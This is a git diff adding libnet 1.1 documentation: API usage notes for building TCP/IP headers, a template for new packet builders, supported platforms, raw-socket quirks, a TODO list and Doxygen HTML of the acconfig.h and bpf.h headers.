+ the TOTAL packet length from that protocol unit on down.
+ For IP, that would be the entire packet length. For
+ TCP, that would be TCP and any possible data.
+ 6) Nomenclature support for the eventual support of ipv6
+ has been added.
+
+ libnet_ptag_t ip_tag;
+ libnet_ptag_t tcp_tag;
+
+ tcp_tag = libnet_build_tcp(
+ src_prt, /* source TCP port */
+ dst_prt, /* destination TCP port */
+ 0xffff, /* sequence number */
+ 0x53, /* acknowledgement number */
+ TH_SYN, /* control flags */
+ 1024, /* window size */
+ 0xd00d, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H /* TCP packet size */
+ NULL, /* payload (none) */
+ 0, /* payload length */
+ l, /* libnet context */
+ 0); /* ptag */
+
+ ip_tag = libnet_build_ipv4(
+ LIBNET_TCP_H + LIBNET_IPV4_H,/* total packet len */
+ IPTOS_LOWDELAY, /* tos */
+ ip_id, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source ip */
+ dst_ip, /* dest ip */
+ NULL, /* payload (none) */
+ 0, /* payload size */
+ l, /* libnet context */
+ 0); /* ptag */
+
+ Now, if you wanted to modify one of these headers in a loop
+ somewhere you would:
+
+ int i;
+ for (ip_tag, tcp_tag = LIBNET_PTAG_INITIALIZER, i = 0; i < 10; i++)
+ {
+ tcp_tag = libnet_build_tcp(++src_prt, ..., l, tcp_tag);
+ ip_tag = libnet_build_ipv4(..., ++ip_id, ..., l, ip_tag);
+ /* do something */
+ }
+ Since we are specifying a ptag for an existing header, the
+ build function will NOT create a new header and append it to
+ the list, it will FIND the one referenced by the ptag and UPDATE
+ it. Since there is nothing new being created, order is NOT
+ important here.
+
+ Also note that it's perfectly fine to wrap the loop around the
+ initial building of the packets. Since we're initializing the
+ ptags (to be zero), the first call into the builder functions
+ will allocate the memory and create the packet blocks. These
+ calls will return ptag values. The next calls will modify
+ these headers since the ptags will not be NULL.
+
+ - Finally, we write the packet. Checksums are computed, by default
+ for each protocol header that requires one. If the user specifies
+ a non-zero value, by default, this will be used INSTEAD of a
+ libnet computed checksum. This behavior is overridable with:
+
+ Turn ON checksums for header referenced by ptag:
+ libnet_toggle_checksum(l, ptag, 1)
+
+ Turn OFF checksums for header referenced by ptag:
+ libnet_toggle_checksum(l, ptag, 0)
+
+ Note, the packet header MUST exist before you can toggle this setting.
+
+ int c;
+ c = libnet_write(l);
+
+ Boom. You're done. Now go read the sample code.
+
+EOF
diff --git a/libnet/doc/PACKET_BUILDING b/libnet/doc/PACKET_BUILDING
new file mode 100644
index 0000000..2470f74
--- /dev/null
+++ b/libnet/doc/PACKET_BUILDING
@@ -0,0 +1,161 @@
+===============================================================================
+ $Id: PACKET_BUILDING,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ ADDING A NEW PACKET BUILDER
+
+ Adding a new packet building module is usually pretty simple. It depends
+ completely on the complexity of the protocol. The following document
+ shows you how to add a packet builder for a simple protocol with a
+ static header size, but these concepts can be extended to a complex
+ protocol also.
+
+ 1) Start by defining your protocol header format in libnet-headers.h:
+
+ #define LIBNET_XXX_H 0xSIZE
+
+ struct XXX_hdr
+ {
+ u_char field1;
+ u_short field2;
+ u_long field3;
+ };
+
+ 2) Add a pblock definition to libnet-structures.h (appened to the list):
+
+ #define LIBNET_PBLOCK_XXX_H 0xNUMBER
+
+ 3) Then work from the following template for libnet_build_XXX.c:
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "../include/libnet.h"
+
+
+libnet_ptag_t
+libnet_build_XXX(u_char arg1, u_short arg2, u_long arg3, u_char *payload,
+ u_long payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ /*
+ * n is the size of the protocol unit. This is usually the header size
+ * plus the payload size. This is also how many bytes are allocated on
+ * the heap to hold this protocol unit.
+ */
+ u_long n;
+
+ /*
+ * h is used inside the pblock structure to let libnet know how big
+ * much data to checksum. This is different for different protocols.
+ * The IPv4 checksum covers the IP header only, while TCP and UDP
+ * checksums cover header and data.
+ */
+ u_short h;
+
+ /*
+ * p will be used to refer to the protocol block that will either be
+ * allocated if the function's pt argument is 0, or located if ptag refers
+ * to a previously created protocol unit.
+ */
+ libnet_pblock_t *p;
+
+ /*
+ * XXX_hdr is the header structure that will be overlaid onto the
+ * allocated memory by way of a memcpy.
+ */
+ struct libnet_XXX_hdr XXX_hdr;
+
+ /*
+ * Here we sanity check to make sure we have a live l.
+ */
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_XXX_H + payload_s;
+ h = 0; /* no checksum by default */
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, pt, n, LIBNET_PBLOCK_XXX_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ /*
+ * Build your packet here. Be sure to call appropriate endian conversion
+ * routines.
+ */
+ XXX_hdr.field1 = arg1;
+ XXX_hdr.field2 = htons(arg2);
+ XXX_hdr.field3 = htonl(arg3);
+
+ /*
+ * Appened the protocol unit to the list.
+ */
+ n = libnet_pblock_append(l, p, (u_char *)&XXX_hdr, LIBNET_XXX_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ /*
+ * Sanity check the payload arguments.
+ */
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ sprintf(l->err_buf, "%s(): payload inconsistency\n", __FUNCTION__);
+ goto bad;
+ }
+
+ /*
+ * Append the payload to the list if it exists.
+ */
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * If this packet header has a checksum field, you'll add this
+ * and you'll have to edit libnet_checksum.c to add it to the switch
+ * table. You might have to define the protocol number too.
+ */
+ if (sum == 0 && l->injection_type != LIBNET_RAW4)
+ {
+ /*
+ * If checksum is zero, by default libnet will compute a checksum
+ * for the user. The programmer can override this by calling
+ * libnet_toggle_checksum(l, ptag, 1);
+ */
+ libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM);
+ }
+
+ /*
+ * Update the protocol block's meta information and return the protocol
+ * tag id of this pblock. This tag will be used to locate the pblock
+ * in order to modify the protocol header in subsequent calls.
+ */
+ return (pt ? pt : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_XXX_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+
+}
+ 4) Add it to src/Makefile.am and then automake from the TLD.
+ 5) Test the shit out of it.
+ 6) Send it over to mike@infonexus.com.
+
+
+EOF
diff --git a/libnet/doc/PORTED b/libnet/doc/PORTED
new file mode 100644
index 0000000..77df971
--- /dev/null
+++ b/libnet/doc/PORTED
@@ -0,0 +1,45 @@
+===============================================================================
+ $Id: PORTED,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ 1.1.0 PORTED OPERATING SYSTEMS
+
+ If you verify libnet building and running successfully (sample code works)
+ on a platform not listed here please send email to mike@infonexus.com.
+
+ - BSD/OS
+ 4.x
+
+ - Cygwin
+ - requires winpcap (http://netgroup-serv.polito.it/winpcap) and pcap
+ header files copied to /usr/include/pcap/ and the library files to
+ be copied to /usr/lib/
+
+ - FreeBSD
+ version?
+
+ - HPUX
+ 11.0
+
+ - Linux
+ 2.0.x
+ 2.2.x
+ 2.4.x
+
+ - OpenBSD
+ 2.x
+ 3.x
+
+ - OS/X
+ version?
+
+ - Solaris
+ 2.x
+ 7
+ 8
+ 9
+
+EOF
diff --git a/libnet/doc/RAWSOCKET_NON_SEQUITUR b/libnet/doc/RAWSOCKET_NON_SEQUITUR
new file mode 100644
index 0000000..7f8c758
--- /dev/null
+++ b/libnet/doc/RAWSOCKET_NON_SEQUITUR
@@ -0,0 +1,41 @@
+===============================================================================
+ $Id: RAWSOCKET_NON_SEQUITUR,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+ Raw sockets are horribly non-standard across implementations. Here is
+ an incomplete list of some of the differences (corrections welcomed):
+
+ Linux 2.2+:
+
+ IP fragmentation: performed if packet is larger than MTU
+ IP checksum: always filled in
+ IP total length: always filled in
+ IP ID: filled in when zero
+ IP source address: filled in when zero
+ IP destination address: filled in when zero
+ Max packet size before kernel complains: 1500 bytes
+
+ Solaris 2.6+:
+
+ IP fragmentation bits: can't specify
+ IP fragmentation: performed if packet is larger than MTU
+ IP DF bit: always set
+ IP checksum: always filled in
+ Max packet size before kernel complains: ?
+
+ OpenBSD 2.8+:
+
+ IP fragmentation: performed if packet is larger than MTU
+ Max packet size before kernel complains: 8192 bytes
+
+ Solaris,
+ for example, has terrible support for this packet interface. Older OpenBSD
+ versions and recent FreeBSD versions have the BSD_BYTE_SWAP issue where
+ the ip_len and ip_frag fields need to be in little endian order. Linux
+ apparently doesn't allow for the injection of broadcast IP datagrams.
+ Whenever complete control over the IP header is desired, use the link
+ layer API.
+
+EOF
diff --git a/libnet/doc/TODO b/libnet/doc/TODO
new file mode 100644
index 0000000..84464d1
--- /dev/null
+++ b/libnet/doc/TODO
@@ -0,0 +1,96 @@
+===============================================================================
+ $Id: TODO,v 1.2 2004/01/03 20:31:00 mike Exp $
+ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ http://www.packetfactory.net/libnet
+===============================================================================
+
+
+ 1.1.x TODO LIST
+
+ * Update the man page!
+
+ - Add a programmer's man page detailing the pblock architecture.
+
+ - Fix plist memory leak.
+
+ - Fix IPv6. According to RFC 2992:
+ "Another difference from IPv4 raw sockets is that complete packets
+ (that is, IPv6 packets with extension headers) cannot be read or
+ written using the IPv6 raw sockets API. Instead, ancillary data
+ objects are used to transfer the extension headers, as described
+ later in this document. Should an application need access to the
+ complete IPv6 packet, some other technique, such as the datalink
+ interfaces BPF or DLPI, must be used.
+
+ All fields in the IPv6 header that an application might want to
+ change (i.e., everything other than the version number) can be
+ modified using ancillary data and/or socket options by the
+ application for output. All fields in a received IPv6 header (other
+ than the version number and Next Header fields) and all extension
+ headers are also made available to the application as ancillary data
+ on input. Hence there is no need for a socket option similar to the
+ IPv4 IP_HDRINCL socket option."
+
+ - Add self-throttling logic to libnet_write()/libnet_init()? Advanced
+ mode thing?
+
+ - Prune the include list in libnet.h.in. Also add conditionals
+ around the headers we use for building the library, but not when
+ using it.
+
+ - Data marshalling API for unaligned structures (like STP).
+
+ - Make cisco ISL work. The issue is that we have build our Ethernet
+ frame first, then encapsulate it inside of an ISL envelope.
+ - We have to compute CRCs for both Ethernet and ISL.
+
+ - Tune advanced interface functionality that allow the application
+ programmer to get inside libnet_t.
+
+ - Test HPUX 11 port.
+
+ - Test cywin32 port.
+
+ - Flesh out the advanced mode.
+
+ - Consider making a flag for "strict mode" where libnet will check
+ things like when you build an IP options list there is an IP
+ header preceding it (likewise for TCP)... Other "smart" things
+ could happen in this mode too. When in non-strict mode, libnet
+ will be less rigid but prone to user-error mode.
+
+ - If we have a problem building a header we might end up freeing it
+ creating a NULL entry on the list and preventing us from getting to
+ entries beyond it (to free or whatever). Maybe we should mark it
+ bad or something and rely on the cleanup at the end to free it up?
+
+ - Fix checksum support for CDP
+
+ - Verify Checksuming:
+ Currently verified working on OpenBSD/Linux/Solaris:
+ - raw IP/UDP [with and without data]
+ - raw IP/TCP [with and without data]
+ - raw IP/ICMP [with and without data]
+ - raw IP/OSPF
+ - hello packet [with no auth data]
+ - hello packet [with no auth data and LSA sub-header (LSA check = bad)]
+ - link IP/UDP [with and without data]
+ - link IP/TCP [with and without data]
+
+ - Update the rest of the libnet_link_* files for the new format, already
+ ported:
+ - bpf [works]
+ - linux packet socket [works]
+ - linux sock packet [works]
+ - dlpi [works]
+
+ - Port link stuff to use writev() in libnet_write() (sendto can't hang).
+
+ - Get IPsec code working.
+
+ - Add the following packet builders:
+ - SNMP
+
+ - Update __libnet_handle_dump to dump everything in l verbosely.
+
+EOF
diff --git a/libnet/doc/html/acconfig_8h-source.html b/libnet/doc/html/acconfig_8h-source.html
new file mode 100644
index 0000000..20fae5b
--- /dev/null
+++ b/libnet/doc/html/acconfig_8h-source.html
@@ -0,0 +1,49 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: acconfig.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>acconfig.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment">dnl $Id: acconfig.h,v 1.2 2004/01/03 20:31:00 mike Exp $</span>
+00003 <span class="comment">dnl</span>
+00004 <span class="comment">dnl Libnet autoconfiguration acconfig.h file</span>
+00005 <span class="comment">dnl Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00006 <span class="comment">dnl All rights reserved.</span>
+00007 <span class="comment">dnl</span>
+00008 <span class="comment">dnl Process this file with autoheader to produce a config.h file.</span>
+00009 <span class="comment">dnl</span>
+00010 <span class="comment">*/</span>
+00011
+00012 <span class="preprocessor">#undef LIBNET_BSDISH_OS</span>
+00013 <span class="preprocessor"></span><span class="preprocessor">#undef LIBNET_BSD_BYTE_SWAP</span>
+00014 <span class="preprocessor"></span><span class="preprocessor">#undef DLPI_DEV_PREFIX</span>
+00015 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_DEV_DLPI</span>
+00016 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOLARIS</span>
+00017 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOLARIS_IPV6</span>
+00018 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_HPUX11</span>
+00019 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOCKADDR_SA_LEN</span>
+00020 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_DLPI</span>
+00021 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_PACKET_SOCKET</span>
+00022 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_STRUCT_IP_CSUM</span>
+00023 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_LIB_PCAP</span>
+00024 <span class="preprocessor"></span><span class="preprocessor">#undef LBL_ALIGN</span>
+00025 <span class="preprocessor"></span><span class="preprocessor">#undef STUPID_SOLARIS_CHECKSUM_BUG</span>
+00026 <span class="preprocessor"></span><span class="preprocessor">#undef _BSD_SOURCE</span>
+00027 <span class="preprocessor"></span><span class="preprocessor">#undef __BSD_SOURCE</span>
+00028 <span class="preprocessor"></span><span class="preprocessor">#undef __FAVOR_BSD</span>
+00029 <span class="preprocessor"></span><span class="preprocessor">#undef LIBNET_BIG_ENDIAN</span>
+00030 <span class="preprocessor"></span><span class="preprocessor">#undef LIBNET_LIL_ENDIAN</span>
+00031 <span class="preprocessor"></span><span class="preprocessor">#undef NO_SNPRINTF</span>
+00032 <span class="preprocessor"></span>
+00033
+00034 <span class="comment">/*</span>
+00035 <span class="comment">dnl EOF</span>
+00036 <span class="comment">*/</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/annotated.html b/libnet/doc/html/annotated.html
new file mode 100644
index 0000000..a713d91
--- /dev/null
+++ b/libnet/doc/html/annotated.html
@@ -0,0 +1,17 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: Annotated Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindexHL" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet Data Structures</h1>Here are the data structures with brief descriptions:<table>
+ <tr><td class="indexkey"><a class="el" href="structlibnet__802__1q__hdr.html">libnet_802_1q_hdr</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><a class="el" href="structlibnet__802__1x__hdr.html">libnet_802_1x_hdr</a></td><td class="indexvalue"></td></tr>
+</table>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/bpf_8h-source.html b/libnet/doc/html/bpf_8h-source.html
new file mode 100644
index 0000000..4c18703
--- /dev/null
+++ b/libnet/doc/html/bpf_8h-source.html
@@ -0,0 +1,277 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: bpf.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>bpf.h</h1><div class="fragment"><pre>00001 <span class="comment">/*-</span>
+00002 <span class="comment"> * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997</span>
+00003 <span class="comment"> * The Regents of the University of California. All rights reserved.</span>
+00004 <span class="comment"> *</span>
+00005 <span class="comment"> * This code is derived from the Stanford/CMU enet packet filter,</span>
+00006 <span class="comment"> * (net/enet.c) distributed as part of 4.3BSD, and code contributed</span>
+00007 <span class="comment"> * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence </span>
+00008 <span class="comment"> * Berkeley Laboratory.</span>
+00009 <span class="comment"> *</span>
+00010 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00011 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00012 <span class="comment"> * are met:</span>
+00013 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00014 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00015 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00016 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00017 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00018 <span class="comment"> * 3. All advertising materials mentioning features or use of this software</span>
+00019 <span class="comment"> * must display the following acknowledgement:</span>
+00020 <span class="comment"> * This product includes software developed by the University of</span>
+00021 <span class="comment"> * California, Berkeley and its contributors.</span>
+00022 <span class="comment"> * 4. Neither the name of the University nor the names of its contributors</span>
+00023 <span class="comment"> * may be used to endorse or promote products derived from this software</span>
+00024 <span class="comment"> * without specific prior written permission.</span>
+00025 <span class="comment"> *</span>
+00026 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND</span>
+00027 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00028 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00029 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE</span>
+00030 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00031 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00032 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00033 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00034 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00035 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00036 <span class="comment"> * SUCH DAMAGE.</span>
+00037 <span class="comment"> *</span>
+00038 <span class="comment"> * @(#)bpf.h 7.1 (Berkeley) 5/7/91</span>
+00039 <span class="comment"> *</span>
+00040 <span class="comment"> * @(#) $Header: /usr/local/CVS/libnet/include/bpf.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL)</span>
+00041 <span class="comment"> */</span>
+00042
+00043 <span class="preprocessor">#ifndef BPF_MAJOR_VERSION</span>
+00044 <span class="preprocessor"></span>
+00045 <span class="comment">/* BSD style release date */</span>
+00046 <span class="preprocessor">#define BPF_RELEASE 199606</span>
+00047 <span class="preprocessor"></span>
+00048 <span class="keyword">typedef</span> <span class="keywordtype">int</span> bpf_int32;
+00049 <span class="keyword">typedef</span> u_int bpf_u_int32;
+00050
+00051 <span class="comment">/*</span>
+00052 <span class="comment"> * Alignment macros. BPF_WORDALIGN rounds up to the next </span>
+00053 <span class="comment"> * even multiple of BPF_ALIGNMENT. </span>
+00054 <span class="comment"> */</span>
+00055 <span class="preprocessor">#define BPF_ALIGNMENT sizeof(bpf_int32)</span>
+00056 <span class="preprocessor"></span><span class="preprocessor">#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&amp;~(BPF_ALIGNMENT-1))</span>
+00057 <span class="preprocessor"></span>
+00058 <span class="preprocessor">#define BPF_MAXINSNS 512</span>
+00059 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MAXBUFSIZE 0x8000</span>
+00060 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MINBUFSIZE 32</span>
+00061 <span class="preprocessor"></span>
+00062 <span class="comment">/*</span>
+00063 <span class="comment"> * Structure for BIOCSETF.</span>
+00064 <span class="comment"> */</span>
+00065 <span class="keyword">struct </span>bpf_program {
+00066 u_int bf_len;
+00067 <span class="keyword">struct </span>bpf_insn *bf_insns;
+00068 };
+00069
+00070 <span class="comment">/*</span>
+00071 <span class="comment"> * Struct returned by BIOCGSTATS.</span>
+00072 <span class="comment"> */</span>
+00073 <span class="keyword">struct </span>bpf_stat {
+00074 u_int bs_recv; <span class="comment">/* number of packets received */</span>
+00075 u_int bs_drop; <span class="comment">/* number of packets dropped */</span>
+00076 };
+00077
+00078 <span class="comment">/*</span>
+00079 <span class="comment"> * Struct return by BIOCVERSION. This represents the version number of </span>
+00080 <span class="comment"> * the filter language described by the instruction encodings below.</span>
+00081 <span class="comment"> * bpf understands a program iff kernel_major == filter_major &amp;&amp;</span>
+00082 <span class="comment"> * kernel_minor &gt;= filter_minor, that is, if the value returned by the</span>
+00083 <span class="comment"> * running kernel has the same major number and a minor number equal</span>
+00084 <span class="comment"> * equal to or less than the filter being downloaded. Otherwise, the</span>
+00085 <span class="comment"> * results are undefined, meaning an error may be returned or packets</span>
+00086 <span class="comment"> * may be accepted haphazardly.</span>
+00087 <span class="comment"> * It has nothing to do with the source code version.</span>
+00088 <span class="comment"> */</span>
+00089 <span class="keyword">struct </span>bpf_version {
+00090 u_short bv_major;
+00091 u_short bv_minor;
+00092 };
+00093 <span class="comment">/* Current version number of filter architecture. */</span>
+00094 <span class="preprocessor">#define BPF_MAJOR_VERSION 1</span>
+00095 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MINOR_VERSION 1</span>
+00096 <span class="preprocessor"></span>
+00097 <span class="comment">/*</span>
+00098 <span class="comment"> * BPF ioctls</span>
+00099 <span class="comment"> *</span>
+00100 <span class="comment"> * The first set is for compatibility with Sun's pcc style</span>
+00101 <span class="comment"> * header files. If your using gcc, we assume that you</span>
+00102 <span class="comment"> * have run fixincludes so the latter set should work.</span>
+00103 <span class="comment"> */</span>
+00104 <span class="preprocessor">#if (defined(sun) || defined(ibm032)) &amp;&amp; !defined(__GNUC__)</span>
+00105 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGBLEN _IOR(B,102, u_int)</span>
+00106 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSBLEN _IOWR(B,102, u_int)</span>
+00107 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSETF _IOW(B,103, struct bpf_program)</span>
+00108 <span class="preprocessor"></span><span class="preprocessor">#define BIOCFLUSH _IO(B,104)</span>
+00109 <span class="preprocessor"></span><span class="preprocessor">#define BIOCPROMISC _IO(B,105)</span>
+00110 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGDLT _IOR(B,106, u_int)</span>
+00111 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGETIF _IOR(B,107, struct ifreq)</span>
+00112 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSETIF _IOW(B,108, struct ifreq)</span>
+00113 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSRTIMEOUT _IOW(B,109, struct timeval)</span>
+00114 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGRTIMEOUT _IOR(B,110, struct timeval)</span>
+00115 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGSTATS _IOR(B,111, struct bpf_stat)</span>
+00116 <span class="preprocessor"></span><span class="preprocessor">#define BIOCIMMEDIATE _IOW(B,112, u_int)</span>
+00117 <span class="preprocessor"></span><span class="preprocessor">#define BIOCVERSION _IOR(B,113, struct bpf_version)</span>
+00118 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSTCPF _IOW(B,114, struct bpf_program)</span>
+00119 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSUDPF _IOW(B,115, struct bpf_program)</span>
+00120 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00121 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGBLEN _IOR('B',102, u_int)</span>
+00122 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSBLEN _IOWR('B',102, u_int)</span>
+00123 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSETF _IOW('B',103, struct bpf_program)</span>
+00124 <span class="preprocessor"></span><span class="preprocessor">#define BIOCFLUSH _IO('B',104)</span>
+00125 <span class="preprocessor"></span><span class="preprocessor">#define BIOCPROMISC _IO('B',105)</span>
+00126 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGDLT _IOR('B',106, u_int)</span>
+00127 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGETIF _IOR('B',107, struct ifreq)</span>
+00128 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSETIF _IOW('B',108, struct ifreq)</span>
+00129 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSRTIMEOUT _IOW('B',109, struct timeval)</span>
+00130 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGRTIMEOUT _IOR('B',110, struct timeval)</span>
+00131 <span class="preprocessor"></span><span class="preprocessor">#define BIOCGSTATS _IOR('B',111, struct bpf_stat)</span>
+00132 <span class="preprocessor"></span><span class="preprocessor">#define BIOCIMMEDIATE _IOW('B',112, u_int)</span>
+00133 <span class="preprocessor"></span><span class="preprocessor">#define BIOCVERSION _IOR('B',113, struct bpf_version)</span>
+00134 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSTCPF _IOW('B',114, struct bpf_program)</span>
+00135 <span class="preprocessor"></span><span class="preprocessor">#define BIOCSUDPF _IOW('B',115, struct bpf_program)</span>
+00136 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00137 <span class="preprocessor"></span>
+00138 <span class="comment">/*</span>
+00139 <span class="comment"> * Structure prepended to each packet.</span>
+00140 <span class="comment"> */</span>
+00141 <span class="keyword">struct </span>bpf_hdr {
+00142 <span class="keyword">struct </span>timeval bh_tstamp; <span class="comment">/* time stamp */</span>
+00143 bpf_u_int32 bh_caplen; <span class="comment">/* length of captured portion */</span>
+00144 bpf_u_int32 bh_datalen; <span class="comment">/* original length of packet */</span>
+00145 u_short bh_hdrlen; <span class="comment">/* length of bpf header (this struct</span>
+00146 <span class="comment"> plus alignment padding) */</span>
+00147 };
+00148 <span class="comment">/*</span>
+00149 <span class="comment"> * Because the structure above is not a multiple of 4 bytes, some compilers</span>
+00150 <span class="comment"> * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work.</span>
+00151 <span class="comment"> * Only the kernel needs to know about it; applications use bh_hdrlen.</span>
+00152 <span class="comment"> */</span>
+00153 <span class="preprocessor">#ifdef KERNEL</span>
+00154 <span class="preprocessor"></span><span class="preprocessor">#define SIZEOF_BPF_HDR 18</span>
+00155 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00156 <span class="preprocessor"></span>
+00157 <span class="comment">/*</span>
